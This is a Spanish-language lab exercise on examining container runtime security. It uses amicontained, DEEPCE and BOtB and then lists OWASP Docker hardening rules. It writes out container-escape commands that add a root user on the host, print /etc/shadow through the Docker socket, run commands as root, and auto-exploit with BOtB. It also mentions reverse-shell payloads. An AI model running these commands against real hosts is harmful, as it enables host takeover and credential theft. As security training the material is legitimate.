01 Introspección del runtime de contenedores.
EJERCICIOS PARA EXAMINAR LA SEGURIDAD DE UN RUNTIME YA DESPLEGADO
El material de este ejercicio se realiza en la carpeta 1
Lo primero que vamos a analizar es si lo que tenemos desplegado cumple unos mínimos de exigencia de seguridad.
AMICONTAINERD
Vamos a averiguar qué runtime de contenedor se está utilizando, así como las funciones disponibles. ¿Podremos ver si es vulnerable y explotarlo?
Ejecutamos el siguiente comando:
docker run –rm -it r.j3ss.co/amicontained:v0.4.9 /bin/sh |
¿Que valores de Apparmor tenemos, que profile es docker-default?
¿Que es seccomp y que representan las Blocked Syscalls y las Capabilities?
¿Es segura está versión de docker?
DEEPCE
https://github.com/stealthcopter/deepce
Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE)
La siguiente es la lista de pruebas realizadas por DEEPCE.
- Escalamiento de privilegios de grupo de Docker
- Ejecución de comandos de host en modo privilegiado
- Sock Docker expuesto
Para cada uno de los exploits anteriores, se pueden definir payload para explotar el sistema host. Éstas incluyen:
- Shell TCP inverso
- Imprimir /etc/shadow
- Agregar nuevo root user
- Ejecutar comandos personalizados
- Ejecutar binarios de carga útiles personalizados
Empezamos lanzando el comando
./deepce.sh |
- Probamos a atacar un contenedor privilegiado para crear un nuevo usuario raíz en el sistema operativo host:
./deepce.sh –no-enumeration –exploit PRIVILEGED –username deepce –password deepce |
- Atacamos a través del archivo sock de docker accesible para mostrar el contenido de /etc/shadow
./deepce.sh –no-enumeration –exploit SOCK –shadow |
- Escalamos como root a través de la membresía al grupo docker en el host y ejecutar un comando personalizado.
./deepce.sh –no-enumeration –exploit DOCKER –command “whoami>/tmp/hacked” |
Como podemos ver este tipo de herramientas de hacking ético nos dan mucha información sobre el estado del runtime de docker. ¿Se podría usar en producción?
Botb (Break out the Box)
Es otra herramienta de pentesting que nos va a informar de la seguridad de nuestra plataforma.
https://github.com/brompwnie/botb
BOtB es una herramienta de análisis y explotación de contenedores diseñada para ser utilizada por pentesters e ingenieros, al mismo tiempo que es compatible con CI/CD.
Para ejecutarlo podemos seguir los siguientes pasos:
docker exec -it telegraf /bin/bash wget https://github.com/brompwnie/botb/releases/download/1.8.0/botb-linux-amd64 chmod u+x botb-linux-amd64 ./botb-linux-amd64 -autopwn |
Actualizar Docker
Para actualizar docker vamos a ejecutar el siguiente comando:
curl -sfL https://get.docker.com | sh – |
Volvemos a ejecutar amicontainerd y deepce al terminar la actualización, ¿vemos diferencias?
¿Es critico mantener actualizado el runtime?
Relacionados:
https://github.com/OWASP/Docker-Security
- Docker Security Cheat Sheet (https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Docker_Security_Cheat_Sheet.md)
- RULE #0 – Keep Host and Docker up to date
- RULE #1 – Do not expose the Docker daemon socket (even to the containers)
- RULE #2 – Set a user
- RULE #3 – Limit capabilities (Grant only specific capabilities, needed by a container)
- RULE #4 – Add –no-new-privileges flag
- RULE #5 – Disable inter-container communication (–icc=false)
- RULE #6 – Use Linux Security Module (seccomp, AppArmor, or SELinux)
- RULE #7 – Limit resources (memory, CPU, file descriptors, processes, restarts)
- RULE #8 – Set filesystem and volumes to read-only
- RULE #9 – Use static analysis tools
- RULE #10 – Set the logging level to at least INFO
- RULE #11 – Lint the Dockerfile at build time
- RULE #12 – Run Docker in root-less mode
- Docker Top10 (owasp.org/www-project-docker-top-10/):
- D01 – Secure User Mapping (https://github.com/OWASP/Docker-Security/blob/main/D01%20-%20Secure%20User%20Mapping.md)
- D02 – Patch Management Strategy (https://github.com/OWASP/Docker-Security/blob/main/D02%20-%20Patch%20Management%20Strategy.md)
- D03 – Network Segmentation and Firewalling (https://github.com/OWASP/Docker-Security/blob/main/D03%20-%20Network%20Segmentation%20and%20Firewalling.md)
- D04 – Secure Defaults and Hardening (https://github.com/OWASP/Docker-Security/blob/main/D04%20-%20Secure%20Defaults%20and%20Hardening.md)
- D05 – Maintain Security Contexts (https://github.com/OWASP/Docker-Security/blob/main/D05%20-%20Maintain%20Security%20Contexts.md)
- D06 – Protect Secrets (https://github.com/OWASP/Docker-Security/blob/main/D06%20-%20Protect%20Secrets.md)
- D07 – Resource Protection (https://github.com/OWASP/Docker-Security/blob/main/D07%20-%20Resource%20Protection.md)
- D08 – Container Image Integrity and Origin (https://github.com/OWASP/Docker-Security/blob/main/D08%20-%20Container%20Image%20Integrity%20and%20Origin.md)
- D09 – Follow Immutable Paradigm (https://github.com/OWASP/Docker-Security/blob/main/D09%20-%20Follow%20Immutable%20Paradigm.md)
- D10 – Logging (https://github.com/OWASP/Docker-Security/blob/main/D10%20-%20Logging.md)
- OWASP Top 10 (https://github.com/OWASP/Top10/blob/master/2021/docs/index.es.md)
- A01:2021 – Pérdida de Control de Acceso
A02:2021 – Fallas Criptográficas
A03:2021 – Inyección
A04:2021 – Diseño Inseguro
A05:2021 – Configuración de Seguridad Incorrecta
A06:2021 – Componentes Vulnerables y Desactualizados
A07:2021 – Fallas de Identificación y Autenticación
A08:2021 – Fallas en el Software y en la Integridad de los Datos
A09:2021 – Fallas en el Registro y Monitoreo
A10:2021 – Falsificación de Solicitudes del Lado del Servidor
- A01:2021 – Pérdida de Control de Acceso